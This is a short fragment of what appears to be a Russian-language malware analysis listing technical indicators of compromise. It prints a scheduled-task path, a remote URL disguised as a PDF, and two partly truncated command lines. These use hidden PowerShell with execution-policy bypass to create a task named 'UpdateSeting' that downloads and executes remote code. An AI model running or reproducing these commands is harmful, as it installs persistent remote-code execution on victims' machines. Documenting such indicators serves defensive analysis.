Техническая информация
- <SYSTEM32>\tasks\updateseting
- https://detail-booking.com.br/documento.pdf
- '%WINDIR%\syswow64\cmd.exe' /c start /min PowerShell -ex Bypass -nOp -w 1 schtasks /create /tn 'UpdateSeting' /tr 'cmd /c start /min powershell.exe -nologo -command ''iex ((New-Object System.Net.WebClient).DownloadString(... (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /tn UpdateSeting /tr "cmd /c start /min powershell.exe -nologo -command 'iex ((New-Object System.Net.WebClient).DownloadString('''https://detail-booking.com.br/documento.pdf'''))' " /SC...